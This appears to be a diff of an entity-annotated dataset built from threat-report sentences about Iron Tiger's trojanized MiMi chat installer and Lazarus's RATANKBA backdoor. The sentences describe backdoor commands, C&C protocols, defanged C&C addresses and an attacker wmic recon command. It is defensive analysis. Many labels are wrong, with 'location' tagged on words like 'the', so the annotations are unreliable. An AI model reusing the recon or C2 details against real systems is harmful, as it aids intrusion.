-{"id":8948,"text":"IP addresses: (getifaddrs) message type: login username: _getpwuid (pw_name) version: uname (release)  Once collected, the backdoor “packs” them into a Binary JSON (BSON) message and sends it over TCP to the C&C in clear (unencrypted) form.","entities":[{"id":27665,"label":"location","start_offset":35,"end_offset":39},{"id":27666,"label":"location","start_offset":140,"end_offset":144},{"id":27667,"label":"location","start_offset":179,"end_offset":182},{"id":27668,"label":"location","start_offset":215,"end_offset":220}],"relations":[],"Comments":[]}
-{"id":8949,"text":"     Figure 6. Deserialized BSON packet (and displayed as JSON) with login message containing OS information     The message received from the C&C is also in BSON format and contains the following fields:      Table 1. Type and subtype of packets received from the C&C Type Subtype","entities":[{"id":27670,"label":"location","start_offset":41,"end_offset":44},{"id":27671,"label":"location","start_offset":170,"end_offset":173},{"id":27672,"label":"location","start_offset":197,"end_offset":203},{"id":27674,"label":"location","start_offset":219,"end_offset":223},{"id":27675,"label":"location","start_offset":224,"end_offset":227},{"id":27676,"label":"location","start_offset":269,"end_offset":273}],"relations":[],"Comments":[]}
 {"id":8950,"text":"Explanation","entities":[],"relations":[],"Comments":[]}
 {"id":8951,"text":"Cmd Init Start new shell Cmd close","entities":[{"id":27677,"label":"malware","start_offset":0,"end_offset":3},{"id":27678,"label":"location","start_offset":9,"end_offset":14},{"id":27679,"label":"location","start_offset":19,"end_offset":24},{"id":27680,"label":"tools","start_offset":25,"end_offset":28}],"relations":[],"Comments":[]}
 {"id":8952,"text":"Kill shell Cmd data","entities":[{"id":27681,"label":"location","start_offset":5,"end_offset":10},{"id":27682,"label":"malware","start_offset":11,"end_offset":14}],"relations":[],"Comments":[]}
-{"id":8953,"text":"Commands to execute in shell File Init","entities":[{"id":27683,"label":"location","start_offset":23,"end_offset":28}],"relations":[],"Comments":[]}
-{"id":8954,"text":"List root \/ directory File Dir List directory","entities":[{"id":27684,"label":"location","start_offset":0,"end_offset":4},{"id":27685,"label":"location","start_offset":5,"end_offset":9},{"id":27686,"label":"location","start_offset":31,"end_offset":35}],"relations":[],"Comments":[]}
-{"id":8955,"text":"File down Prepare file for downloading File read Read file (transfer bytes) File close","entities":[{"id":27687,"label":"location","start_offset":60,"end_offset":68}],"relations":[],"Comments":[]}
-{"id":8956,"text":"Close file File upload Prepare file for uploading File write Write file (transfer bytes) File Del","entities":[{"id":27688,"label":"location","start_offset":73,"end_offset":81}],"relations":[],"Comments":[]}
-{"id":8957,"text":"Delete file      The client also regularly sends a packet of type ‘keepalive’ to the C&C.","entities":[{"id":27689,"label":"location","start_offset":61,"end_offset":65}],"relations":[],"Comments":[]}
-{"id":8958,"text":"Running the DMG installer on a macOS machine, the user is shown several warnings before the trojanized app is installed and run.","entities":[{"id":27690,"label":"location","start_offset":120,"end_offset":123}],"relations":[],"Comments":[]}
-{"id":8959,"text":"At first, Safari web browser asks the user to allow downloads from the given website.","entities":[{"id":27692,"label":"location","start_offset":71,"end_offset":76}],"relations":[],"Comments":[]}
-{"id":8960,"text":"After choosing “Allow,” downloading, and executing the DMG installer","entities":[{"id":27693,"label":"location","start_offset":37,"end_offset":40}],"relations":[],"Comments":[]}
 {"id":8961,"text":", another warning message about an unverified developer is displayed.","entities":[],"relations":[],"Comments":[]}
 {"id":8962,"text":"     Figure 7. Unverified developer warning with the “Open” button noticeably missing     ","entities":[],"relations":[],"Comments":[]}
-{"id":8963,"text":"To override this warning, the user must open “System Preferences” and “Security & Privacy” tabs and click on “Open Anyway.”      Figure","entities":[{"id":27695,"label":"location","start_offset":66,"end_offset":69},{"id":27696,"label":"location","start_offset":71,"end_offset":79},{"id":27697,"label":"location","start_offset":96,"end_offset":99}],"relations":[],"Comments":[]}
-{"id":8964,"text":"Security & Privacy tab to allow running apps from unverified developers","entities":[{"id":27698,"label":"location","start_offset":0,"end_offset":8},{"id":27699,"label":"location","start_offset":19,"end_offset":22}],"relations":[],"Comments":[]}
 {"id":8965,"text":"    Afterward, one more warning about the unverified developer is displayed.","entities":[],"relations":[],"Comments":[]}
-{"id":8966,"text":"This time, however, the “Open” button appears in the prompt so the application can finally start.      Figure 9.","entities":[{"id":27701,"label":"location","start_offset":5,"end_offset":9},{"id":27702,"label":"location","start_offset":79,"end_offset":82},{"id":27703,"label":"location","start_offset":91,"end_offset":96}],"relations":[],"Comments":[]}
 {"id":8967,"text":"Unverified developer warning with the “Open” button enabled","entities":[],"relations":[],"Comments":[]}
-{"id":8968,"text":"    We confirmed that both the legitimate and the malicious versions of the chat installer were unsigned, which means the users of MiMi chat were probably used to all these extra steps to finally install the application despite all the macOS watchguards.","entities":[{"id":27705,"label":"location","start_offset":42,"end_offset":45},{"id":27706,"label":"location","start_offset":76,"end_offset":80},{"id":27707,"label":"location","start_offset":112,"end_offset":117},{"id":27709,"label":"location","start_offset":136,"end_offset":140}],"relations":[],"Comments":[]}
 {"id":8969,"text":"HyperBro","entities":[{"id":27710,"label":"malware","start_offset":0,"end_offset":8}],"relations":[],"Comments":[]}
 {"id":8970,"text":"The HyperBro malware family has been around since 2017 and has been extensively analyzed.","entities":[{"id":27711,"label":"malware","start_offset":4,"end_offset":12},{"id":27713,"label":"location","start_offset":55,"end_offset":58}],"relations":[],"Comments":[]}
 {"id":8971,"text":"It was updated in mid-2019, which we described in detail in our Operation DRBControl paper.","entities":[],"relations":[],"Comments":[]}
-{"id":8972,"text":"The version used in this campaign is no different from what we already described in our previous Iron Tiger investigation.","entities":[{"id":27716,"label":"location","start_offset":25,"end_offset":33}],"relations":[],"Comments":[]}
-{"id":8973,"text":"The only noteworthy element is the Authenticode signature of dlpprem32.dll, which is signed by a (now) revoked certificate belonging to “Cheetah Mobile Inc.”","entities":[{"id":27718,"label":"location","start_offset":4,"end_offset":8}],"relations":[],"Comments":[]}
 {"id":8974,"text":"The said company was formerly known as Kingsoft Internet Software Holdings Limited, wherein during our previous investigation on the group, we already found one HyperBro DLL signed by a certificate belonging to Kingsoft.","entities":[],"relations":[],"Comments":[]}
 {"id":8975,"text":"Targets","entities":[],"relations":[],"Comments":[]}
 {"id":8976,"text":"We found 13 different targets while following our sensors‘ data.","entities":[],"relations":[],"Comments":[]}
-{"id":8977,"text":"The only targeted countries were Taiwan and the Philippines: five targets of HyperBro (four in Taiwan and one in the Philippines).","entities":[{"id":27725,"label":"location","start_offset":4,"end_offset":8},{"id":27727,"label":"location","start_offset":40,"end_offset":43},{"id":27733,"label":"location","start_offset":102,"end_offset":105}],"relations":[],"Comments":[]}
-{"id":8978,"text":"Meanwhile, we found eight targets for rshell: six in Taiwan, one in the Philippines, and one being in Taiwan and the Philippines.","entities":[{"id":27741,"label":"location","start_offset":85,"end_offset":88},{"id":27744,"label":"location","start_offset":109,"end_offset":112}],"relations":[],"Comments":[]}
-{"id":8979,"text":"While we were unable to identify all the targets, these targeting demographics demonstrate a geographical region of interest for Iron Tiger.","entities":[{"id":27746,"label":"location","start_offset":106,"end_offset":112}],"relations":[],"Comments":[]}
-{"id":8980,"text":"Among those targets, we could only identify one of them: a Taiwanese gaming development company.","entities":[{"id":27748,"label":"location","start_offset":30,"end_offset":34},{"id":27750,"label":"location","start_offset":51,"end_offset":55},{"id":27752,"label":"location","start_offset":69,"end_offset":75}],"relations":[],"Comments":[]}
 {"id":8981,"text":"Interestingly, we found a sample from the Reptile rootkit framework in that same company, as well as network requests to a subdomain that belongs to Earth Berberoka’s infrastructure.","entities":[{"id":27753,"label":"location","start_offset":26,"end_offset":32},{"id":27754,"label":"malware","start_offset":42,"end_offset":49},{"id":27755,"label":"attack-pattern","start_offset":50,"end_offset":57},{"id":27756,"label":"location","start_offset":76,"end_offset":80}],"relations":[],"Comments":[]}
-{"id":8982,"text":"We also noticed network requests from a Taiwanese IT development company to the subdomain trust[.]veryssl[.]org, and the subdomain center.veryssl[.]org is a C&C for one of the rshell samples we found.","entities":[{"id":27759,"label":"location","start_offset":113,"end_offset":116}],"relations":[],"Comments":[]}
-{"id":8983,"text":"This suggests the company could be compromised by the same threat actor.","entities":[{"id":27761,"label":"location","start_offset":54,"end_offset":58}],"relations":[],"Comments":[]}
-{"id":8984,"text":"Timeline  June 2021: Oldest Linux rshell sample found November 2021:","entities":[{"id":27763,"label":"location","start_offset":41,"end_offset":47}],"relations":[],"Comments":[]}
 {"id":8985,"text":"Threat actor modified version 2.2.0 of Windows MiMi chat installer to download and execute HyperBro backdoor May 2021:","entities":[{"id":27765,"label":"location","start_offset":52,"end_offset":56},{"id":27766,"label":"location","start_offset":79,"end_offset":82},{"id":27767,"label":"tools","start_offset":91,"end_offset":99}],"relations":[],"Comments":[]}
-{"id":8986,"text":"Threat actor modified version 2.3.0 of Mac OS MiMi chat installer to download and execute “rshell” backdoor  ","entities":[{"id":27769,"label":"location","start_offset":51,"end_offset":55},{"id":27770,"label":"location","start_offset":78,"end_offset":81}],"relations":[],"Comments":[]}
-{"id":8987,"text":"Attribution and conclusion","entities":[{"id":27771,"label":"location","start_offset":12,"end_offset":15}],"relations":[],"Comments":[]}
-{"id":8988,"text":"We attribute this campaign to Iron Tiger for multiple reasons.","entities":[{"id":27772,"label":"location","start_offset":18,"end_offset":26}],"relations":[],"Comments":[]}
 {"id":8989,"text":"First, the dlpprem32.dll file linked to HyperBro shares certain characteristics (specifically imphash, RICH header) with previous samples already attributed to the group.","entities":[{"id":27775,"label":"malware","start_offset":40,"end_offset":48},{"id":27776,"label":"location","start_offset":103,"end_offset":107}],"relations":[],"Comments":[]}
 {"id":8990,"text":"Also, the file names involved in the decoding and loading of HyperBro are similar to those we witnessed during our investigation last year.","entities":[{"id":27777,"label":"location","start_offset":46,"end_offset":49},{"id":27778,"label":"malware","start_offset":61,"end_offset":69},{"id":27779,"label":"location","start_offset":70,"end_offset":73}],"relations":[],"Comments":[]}
 {"id":8991,"text":"Second, one of the Linux rshell samples used the IP address 45[.]142[.]214[.]193 as its C&C.","entities":[{"id":27783,"label":"IPV4","start_offset":60,"end_offset":80}],"relations":[],"Comments":[]}
 {"id":8992,"text":"In 2020, that IP address had a particular reverse DNS: nbaya0u2[.]example[.]com.","entities":[],"relations":[],"Comments":[]}
 {"id":8993,"text":"During our Operation DRBControl investigation, we found a HyperBro sample that had 138[.]124[.]180[.]108 as its C&C. This second IP address had nbaya0u1[.]example[.]com as its reverse DNS.","entities":[{"id":27786,"label":"malware","start_offset":58,"end_offset":66},{"id":27787,"label":"location","start_offset":67,"end_offset":73},{"id":27788,"label":"IPV4","start_offset":83,"end_offset":104}],"relations":[],"Comments":[]}
 {"id":8994,"text":"However, as the rshell sample was found in 2021, we initially did not find this correlation strong enough to attribute the rshellmalware family to Iron Tiger.","entities":[{"id":27790,"label":"location","start_offset":23,"end_offset":29},{"id":27792,"label":"location","start_offset":92,"end_offset":98},{"id":27793,"label":"threat-actor","start_offset":147,"end_offset":157}],"relations":[],"Comments":[]}
-{"id":8995,"text":"Despite the fact that same state-sponsored threat actors tend to share their malware tools (such as gh0st, PlugX, and Shadowpad), this is not the case for HyperBro as far as we know.","entities":[{"id":27794,"label":"location","start_offset":22,"end_offset":26},{"id":27797,"label":"location","start_offset":114,"end_offset":117},{"id":27799,"label":"location","start_offset":146,"end_offset":150}],"relations":[],"Comments":[]}
-{"id":8996,"text":"The fact that we found this malware being used in this campaign is an additional indicator pointing towards Iron Tiger.","entities":[{"id":27801,"label":"location","start_offset":55,"end_offset":63}],"relations":[],"Comments":[]}
 {"id":8997,"text":"We also found some links to Earth Berberoka.","entities":[],"relations":[],"Comments":[]}
 {"id":8998,"text":"From one of the victims where we found an rshell sample, we also found a binary belonging to the Reptile rootkit framework, a rootkit identified as part of the arsenal of Earth Berberoka.","entities":[{"id":27805,"label":"location","start_offset":49,"end_offset":55},{"id":27806,"label":"malware","start_offset":97,"end_offset":104},{"id":27807,"label":"attack-pattern","start_offset":105,"end_offset":112},{"id":27808,"label":"attack-pattern","start_offset":126,"end_offset":133},{"id":27809,"label":"location","start_offset":160,"end_offset":167}],"relations":[],"Comments":[]}
 {"id":8999,"text":"We also noticed network communications from this victim to a subdomain of Earth Berberoka, suggesting it could have been previously compromised by this threat actor.","entities":[],"relations":[],"Comments":[]}
-{"id":9000,"text":"We noticed a different system in the same situation, as well as the network connections to the subdomain trust[.]veryssl[.]org domain name.","entities":[{"id":27812,"label":"location","start_offset":37,"end_offset":41}],"relations":[],"Comments":[]}
 {"id":9001,"text":"One of the rshell samples had center[.]veryssl[.]org as the C&C.","entities":[],"relations":[],"Comments":[]}
 {"id":9002,"text":"Both findings suggest that those victims could be compromised by both threat actors, or that Earth Berberoka is actually a subgroup of Iron Tiger.","entities":[{"id":27815,"label":"threat-actor","start_offset":135,"end_offset":145}],"relations":[],"Comments":[]}
 {"id":9003,"text":"As a reminder, while investigating Earth Berberoka, we found multiple links to Iron Tiger that we detailed in our research.","entities":[{"id":27817,"label":"threat-actor","start_offset":79,"end_offset":89}],"relations":[],"Comments":[]}
 {"id":9004,"text":"Indicators of Compromise (IOCs)","entities":[],"relations":[],"Comments":[]}
-{"id":9005,"text":"You will find the list of IOCs here.","entities":[{"id":27818,"label":"location","start_offset":4,"end_offset":8},{"id":27819,"label":"location","start_offset":18,"end_offset":22}],"relations":[],"Comments":[]}
-{"id":9006,"text":"    Tags  Malware | Cyber Crime | Privacy & Risks | Cyber Threats | APT & Targeted Attacks | Endpoints | Mobile | Articles, News, Reports","entities":[{"id":27820,"label":"location","start_offset":68,"end_offset":71},{"id":27821,"label":"location","start_offset":105,"end_offset":111}],"relations":[],"Comments":[]}
 {"id":9007,"text":"Updated the detection names on January 25, 2018, 9:47 PM PDT  ","entities":[{"id":27823,"label":"TIME","start_offset":49,"end_offset":60}],"relations":[],"Comments":[]}
-{"id":9008,"text":"Few cybercrime groups have gained as much notoriety—both for their actions and for their mystique—as the Lazarus group.","entities":[{"id":27824,"label":"location","start_offset":37,"end_offset":41},{"id":27825,"label":"location","start_offset":75,"end_offset":78}],"relations":[],"Comments":[]}
-{"id":9009,"text":"Since they first emerged back in 2007 with a series of cyberespionage attacks against the South Korean government, these threat actors have successfully managed to pull off some of the most notable and devastating targeted attacks—such as the widely-reported 2014 Sony hack and the 2016 attack on a Bangladeshi bank—in recent history.","entities":[{"id":27830,"label":"location","start_offset":185,"end_offset":189},{"id":27831,"label":"location","start_offset":198,"end_offset":201},{"id":27834,"label":"location","start_offset":269,"end_offset":273},{"id":27835,"label":"location","start_offset":274,"end_offset":277}],"relations":[],"Comments":[]}
-{"id":9010,"text":"Throughout the Lazarus group's operational history, few threat actors have managed to match the group in terms of both scale and impact, due in large part to the wide variety of tools and tactics at the group’s disposal.","entities":[{"id":27839,"label":"location","start_offset":125,"end_offset":128},{"id":27840,"label":"location","start_offset":129,"end_offset":135},{"id":27841,"label":"location","start_offset":144,"end_offset":149},{"id":27842,"label":"location","start_offset":184,"end_offset":187}],"relations":[],"Comments":[]}
 {"id":9011,"text":"The malware known as RATANKBA is just one of the weapons in Lazarus’ arsenal.","entities":[{"id":27844,"label":"identity","start_offset":33,"end_offset":37},{"id":27845,"label":"location","start_offset":38,"end_offset":41},{"id":27846,"label":"malware","start_offset":60,"end_offset":67},{"id":27847,"label":"location","start_offset":69,"end_offset":76}],"relations":[],"Comments":[]}
-{"id":9012,"text":"This malicious software, which could have been active since late 2016, was used in a recent campaign targeting financial institutions using watering hole attacks.","entities":[{"id":27849,"label":"location","start_offset":92,"end_offset":100},{"id":27850,"label":"location","start_offset":149,"end_offset":153}],"relations":[],"Comments":[]}
-{"id":9013,"text":"The variant used during these attacks (TROJ_RATANKBA.A) delivered multiple payloads that include hacking tools and software targeting banking systems.","entities":[{"id":27851,"label":"location","start_offset":111,"end_offset":114}],"relations":[],"Comments":[]}
 {"id":9014,"text":"We analyzed a new RATANKBA variant (BKDR_RATANKBA.ZAEL-A), discovered in June 2017, that uses a PowerShell script instead of its more traditional PE executable form—a version that other researchers also recently identified.","entities":[],"relations":[],"Comments":[]}
 {"id":9015,"text":"We identified a number of servers Lazarus used as a backend system for temporarily holding stolen data.","entities":[],"relations":[],"Comments":[]}
-{"id":9016,"text":"We were able to access this backend, which provided us with valuable information about this attack and its victims.","entities":[{"id":27856,"label":"location","start_offset":99,"end_offset":102}],"relations":[],"Comments":[]}
-{"id":9017,"text":"Around 55% of the victims of RATANKBA’s Powershell version were located in India and neighboring countries.","entities":[{"id":27861,"label":"location","start_offset":81,"end_offset":84}],"relations":[],"Comments":[]}
-{"id":9018,"text":"This implies that the Lazarus group could be is either collecting intelligence about targets in this region, or is at an early stage of planning.","entities":[{"id":27863,"label":"location","start_offset":101,"end_offset":107},{"id":27864,"label":"location","start_offset":121,"end_offset":126}],"relations":[],"Comments":[]}
 {"id":9019,"text":"They could have also been performing exercises in preparation for an attack against similar targets.","entities":[],"relations":[],"Comments":[]}
-{"id":9020,"text":"The majority of the observed victims were not using enterprise versions of Microsoft software.","entities":[{"id":27865,"label":"location","start_offset":52,"end_offset":62}],"relations":[],"Comments":[]}
-{"id":9021,"text":"Less than 5% of the victims were Microsoft Windows Enterprise users, which means that currently, RATANKBA mostly affects smaller organizations or individual users, not larger organizations.","entities":[{"id":27870,"label":"location","start_offset":75,"end_offset":80}],"relations":[],"Comments":[]}
-{"id":9022,"text":"It's possible that Lazarus is using tools other than RATANKBA to target larger organizations.","entities":[{"id":27874,"label":"location","start_offset":65,"end_offset":71}],"relations":[],"Comments":[]}
 {"id":9023,"text":"Lazarus’ backend logs also record victim IP addresses.","entities":[],"relations":[],"Comments":[]}
-{"id":9024,"text":"Based on a reverse WHOIS lookup, none of the victims can be associated with a large bank or a financial institution.","entities":[{"id":27876,"label":"location","start_offset":33,"end_offset":37},{"id":27877,"label":"location","start_offset":53,"end_offset":56},{"id":27878,"label":"location","start_offset":78,"end_offset":83}],"relations":[],"Comments":[]}
-{"id":9025,"text":"However, we did manage to identify victims that are likely employees of three web software development companies in India and one in South Korea.","entities":[{"id":27879,"label":"location","start_offset":16,"end_offset":22},{"id":27880,"label":"location","start_offset":48,"end_offset":51},{"id":27881,"label":"location","start_offset":52,"end_offset":58},{"id":27884,"label":"location","start_offset":122,"end_offset":125}],"relations":[],"Comments":[]}
 {"id":9026,"text":"Infection Flow  Figure 1.","entities":[],"relations":[],"Comments":[]}
 {"id":9027,"text":"RATANKBA Infection Flow RATANKBA is delivered to its victims using a variety of lure documents, including Microsoft Office documents, malicious CHM files, and different script downloaders.","entities":[{"id":27888,"label":"malware","start_offset":0,"end_offset":8},{"id":27890,"label":"location","start_offset":80,"end_offset":84},{"id":27892,"label":"location","start_offset":155,"end_offset":158}],"relations":[],"Comments":[]}
 {"id":9028,"text":"These documents contain topics discussing either software development or digital currencies.","entities":[],"relations":[],"Comments":[]}
-{"id":9029,"text":"The growth of cryptocurrencies may be a driving force behind the use of cryptocurrency-related lures.","entities":[{"id":27893,"label":"location","start_offset":31,"end_offset":34},{"id":27894,"label":"location","start_offset":48,"end_offset":53}],"relations":[],"Comments":[]}
 {"id":9030,"text":"An example of a lure used in a RATANKBA attack can be seen below:  Figure 2. Malicious CHM file used as RATANKBA lure","entities":[{"id":27895,"label":"location","start_offset":16,"end_offset":20},{"id":27896,"label":"malware","start_offset":31,"end_offset":39},{"id":27897,"label":"location","start_offset":47,"end_offset":50},{"id":27899,"label":"malware","start_offset":104,"end_offset":112},{"id":27900,"label":"location","start_offset":113,"end_offset":117}],"relations":[],"Comments":[]}
-{"id":9031,"text":"Once the lure’s recipient opens and executes the file, a backdoor will be dropped into the victim’s system.","entities":[{"id":27901,"label":"location","start_offset":9,"end_offset":13},{"id":27902,"label":"location","start_offset":32,"end_offset":35},{"id":27903,"label":"location","start_offset":66,"end_offset":70}],"relations":[],"Comments":[]}
 {"id":9032,"text":"This RATANKBA backdoor is what is used to communicate with RATANKBA’s Command-and-Control (C&C) server.","entities":[{"id":27904,"label":"malware","start_offset":5,"end_offset":13},{"id":27905,"label":"tools","start_offset":59,"end_offset":67},{"id":27906,"label":"location","start_offset":78,"end_offset":81}],"relations":[],"Comments":[]}
-{"id":9033,"text":"We have observed two initial conversations with the C&C server (all are done via HTTP GET or POST to the server):  HTTP POST to {script}.jsp?action=BaseInfo&u=XXX: Sends the victim information to the backend server HTTP GET to {script}.jsp?action=What&u=XXX: Checks if there are any pending jobs for the backdoor    This means that the backdoor is responsible for both uploading victim information, as well as executing any tasks that the controller has assigned to it, which includes the following:  ","entities":[{"id":27908,"label":"location","start_offset":68,"end_offset":71},{"id":27909,"label":"location","start_offset":93,"end_offset":97},{"id":27910,"label":"location","start_offset":120,"end_offset":124},{"id":27911,"label":"location","start_offset":275,"end_offset":278},{"id":27912,"label":"location","start_offset":321,"end_offset":326}],"relations":[],"Comments":[]}
 {"id":9034,"text":"Killkill: Stops the backdoor’s activities interval: Changes the interval in which the backdoor retrieves jobs; the default interval is set at 120 seconds cmd: Executes shell commands exe:Reflectively injects a DLL downloaded from a specific URL","entities":[{"id":27913,"label":"malware","start_offset":154,"end_offset":157},{"id":27914,"label":"location","start_offset":168,"end_offset":173}],"relations":[],"Comments":[]}
 {"id":9035,"text":"   In addition to the backdoor’s modus operandi, the attackers will use a Microsoft WMI command-line tool to list the compromised system’s running processes, which are sent to the C&C server:  “C:\\Windows\\system32\\cmd.exe” \/c “wmic process get processid,commandline,sessionid | findstr SysWOW” “C:\\Windows\\system32\\cmd.exe” \/c “wmic process get processid,commandline,sessionid | findstr x86”    Technical Analysis","entities":[{"id":27915,"label":"location","start_offset":63,"end_offset":67},{"id":27916,"label":"identity","start_offset":74,"end_offset":83},{"id":27917,"label":"location","start_offset":101,"end_offset":105},{"id":27918,"label":"location","start_offset":109,"end_offset":113},{"id":27919,"label":"location","start_offset":164,"end_offset":167}],"relations":[],"Comments":[]}
 {"id":9036,"text":"During our analysis, we collected a copy of the RATANKBA malware’s Lazarus Remote Controller tool.","entities":[{"id":27920,"label":"tools","start_offset":48,"end_offset":56},{"id":27921,"label":"malware","start_offset":67,"end_offset":74},{"id":27922,"label":"location","start_offset":75,"end_offset":81},{"id":27923,"label":"location","start_offset":93,"end_offset":97}],"relations":[],"Comments":[]}
-{"id":9037,"text":"The remote controller provides a user interface that allows attackers to send jobs to any compromised endpoint.","entities":[{"id":27924,"label":"location","start_offset":4,"end_offset":10}],"relations":[],"Comments":[]}
-{"id":9038,"text":"The controller gives the attackers the ability to manipulate the victims’ host by queueing tasks on the main server.","entities":[{"id":27925,"label":"location","start_offset":74,"end_offset":78}],"relations":[],"Comments":[]}
-{"id":9039,"text":"RATANKBA retrieves and executes the tasks, and retrieves the collected information.","entities":[{"id":27927,"label":"location","start_offset":19,"end_offset":22},{"id":27928,"label":"location","start_offset":43,"end_offset":46}],"relations":[],"Comments":[]}
 {"id":9040,"text":" Figure 3. RATANKBA communication diagram","entities":[{"id":27930,"label":"malware","start_offset":11,"end_offset":19}],"relations":[],"Comments":[]}
-{"id":9041,"text":"The RATANKBA malware has a control model that does not use real-time communication between the backdoor and the attacker.","entities":[{"id":27932,"label":"location","start_offset":35,"end_offset":40},{"id":27933,"label":"location","start_offset":59,"end_offset":63},{"id":27934,"label":"location","start_offset":64,"end_offset":68},{"id":27935,"label":"location","start_offset":83,"end_offset":90},{"id":27936,"label":"location","start_offset":104,"end_offset":107}],"relations":[],"Comments":[]}
-{"id":9042,"text":"Instead, both the remote controller and the backdoor connect to its main communication control server to push or pull pieces of information.","entities":[{"id":27937,"label":"location","start_offset":18,"end_offset":24},{"id":27938,"label":"location","start_offset":36,"end_offset":39}],"relations":[],"Comments":[]}
-{"id":9043,"text":"The controller uses a graphical UI interface and can be used to push code to the server, while the backdoor regularly connects to the server to check for pending tasks.","entities":[{"id":27939,"label":"location","start_offset":45,"end_offset":48},{"id":27940,"label":"location","start_offset":49,"end_offset":52},{"id":27941,"label":"location","start_offset":144,"end_offset":149}],"relations":[],"Comments":[]}
 {"id":9044,"text":"The controller downloads the victim profiles from the server.","entities":[],"relations":[],"Comments":[]}
-{"id":9045,"text":"If the profiles are already downloaded by the controller, they are deleted from the server side.","entities":[{"id":27942,"label":"location","start_offset":16,"end_offset":19},{"id":27943,"label":"location","start_offset":63,"end_offset":66}],"relations":[],"Comments":[]}
-{"id":9046,"text":"The controller can post victim-specific tasks as well as global specific tasks to the server.","entities":[{"id":27944,"label":"location","start_offset":15,"end_offset":18},{"id":27945,"label":"location","start_offset":19,"end_offset":23}],"relations":[],"Comments":[]}
 {"id":9047,"text":"Below are the various functionalities of RATANKBA’s controller:","entities":[{"id":27946,"label":"location","start_offset":6,"end_offset":9},{"id":27947,"label":"malware","start_offset":41,"end_offset":49}],"relations":[],"Comments":[]}
-{"id":9048,"text":" Command Name Function get_time Retrieves the server time delete_inf","entities":[{"id":27948,"label":"location","start_offset":53,"end_offset":57}],"relations":[],"Comments":[]}
 {"id":9049,"text":"Deletes the downloaded victim profiles delete_con Deletes the connection log files if they were already downloaded","entities":[],"relations":[],"Comments":[]}
 {"id":9050,"text":"Kill: Posts a job to kill the backdoor inject Posts a job for DLL injection Interval Changes the sleep interval Cmd","entities":[{"id":27949,"label":"location","start_offset":14,"end_offset":17},{"id":27950,"label":"location","start_offset":54,"end_offset":57},{"id":27951,"label":"malware","start_offset":112,"end_offset":115}],"relations":[],"Comments":[]}
-{"id":9051,"text":"Posts a job for command shell execution delete_cmd Retrieves the job results and deletes the posted job broadcast_cmd: Posts a job for all the backdoors connecting to the server    Figure 4.","entities":[{"id":27952,"label":"location","start_offset":8,"end_offset":11},{"id":27953,"label":"location","start_offset":24,"end_offset":29},{"id":27954,"label":"location","start_offset":65,"end_offset":68},{"id":27955,"label":"location","start_offset":77,"end_offset":80},{"id":27956,"label":"location","start_offset":100,"end_offset":103},{"id":27957,"label":"location","start_offset":127,"end_offset":130}],"relations":[],"Comments":[]}
 {"id":9052,"text":"RATANKBA main console interface","entities":[{"id":27959,"label":"tools","start_offset":0,"end_offset":8}],"relations":[],"Comments":[]}
 {"id":9053,"text":" Figure 5.","entities":[],"relations":[],"Comments":[]}
 {"id":9054,"text":"RATANKBA host manipulation console RATANKBA’s controllers use the “Nimo Software HTTP Retriever 1.0” user-agent string for its communication.","entities":[{"id":27961,"label":"malware","start_offset":0,"end_offset":8},{"id":27962,"label":"location","start_offset":9,"end_offset":13},{"id":27963,"label":"malware","start_offset":35,"end_offset":43}],"relations":[],"Comments":[]}
-{"id":9055,"text":"The communication protocol format for the controller and backdoor is as follows:  · <domain>\/<jsp filename>.jsp?action=<corresponding actions plus additional needed parameters>`    ","entities":[{"id":27964,"label":"location","start_offset":53,"end_offset":56}],"relations":[],"Comments":[]}
-{"id":9056,"text":"One of most notable changes on the new RATANKBA variant is that the new version was written in Powershell, whereas the original variant was in PE form.","entities":[{"id":27965,"label":"location","start_offset":0,"end_offset":3},{"id":27966,"label":"location","start_offset":7,"end_offset":11}],"relations":[],"Comments":[]}
 {"id":9057,"text":"The shift from PE to Powershell makes it more difficult for antivirus solutions to detect.","entities":[],"relations":[],"Comments":[]}
 {"id":9058,"text":"The screenshot below shows the conversion from C\/C++ code to Powershell, while the protocol remained unchanged.","entities":[],"relations":[],"Comments":[]}
 {"id":9059,"text":"   Figure 6. C\/C++ version of RATANKBA  Figure 7. Powershell version of RATANKBA Profile of the Attackers","entities":[{"id":27974,"label":"attack-pattern","start_offset":50,"end_offset":60},{"id":27975,"label":"tools","start_offset":72,"end_offset":80}],"relations":[],"Comments":[]}
 {"id":9060,"text":"While we do not have any knowledge of who the actual Lazarus attackers are, the data collected from the backend systems gives us some insights into the internet usage patterns of systems likely owned by Lazarus group members.","entities":[{"id":27976,"label":"malware","start_offset":53,"end_offset":60},{"id":27977,"label":"location","start_offset":71,"end_offset":74},{"id":27978,"label":"location","start_offset":187,"end_offset":193}],"relations":[],"Comments":[]}
-{"id":9061,"text":"Clues regarding the profiles of the attackers was also found, including those connected to developers and at least one operator.","entities":[{"id":27980,"label":"location","start_offset":102,"end_offset":105}],"relations":[],"Comments":[]}
-{"id":9062,"text":"All of them appear to be native Korean speakers, or at least have Korean language proficiency that is at the near-native level.","entities":[{"id":27982,"label":"location","start_offset":7,"end_offset":11}],"relations":[],"Comments":[]}
-{"id":9063,"text":" We believe at least one of them also understands Chinese.","entities":[{"id":27986,"label":"location","start_offset":28,"end_offset":32}],"relations":[],"Comments":[]}
-{"id":9064,"text":"We also observed clues that the attackers are interested in cryptocurrencies such as Bitcoin (BTC) and Ant Share (NEO).","entities":[{"id":27988,"label":"location","start_offset":42,"end_offset":45},{"id":27989,"label":"location","start_offset":99,"end_offset":102}],"relations":[],"Comments":[]}
-{"id":9065,"text":"One of them transferred shares of NEO at a good market price.","entities":[{"id":27991,"label":"location","start_offset":7,"end_offset":11},{"id":27992,"label":"location","start_offset":43,"end_offset":47},{"id":27993,"label":"location","start_offset":48,"end_offset":54},{"id":27994,"label":"location","start_offset":55,"end_offset":60}],"relations":[],"Comments":[]}
 {"id":9066,"text":" Figure 8. Empty cryptocurrency wallet of the attacker  Figure 9.","entities":[],"relations":[],"Comments":[]}
-{"id":9067,"text":"An attacker transfers 594 NEO to another wallet, with the money going to a mixer  Figure 10.","entities":[{"id":27998,"label":"location","start_offset":58,"end_offset":63}],"relations":[],"Comments":[]}
 {"id":9068,"text":"An attacker mining Ant Share Defending against RATANKBA","entities":[{"id":28000,"label":"malware","start_offset":47,"end_offset":55}],"relations":[],"Comments":[]}
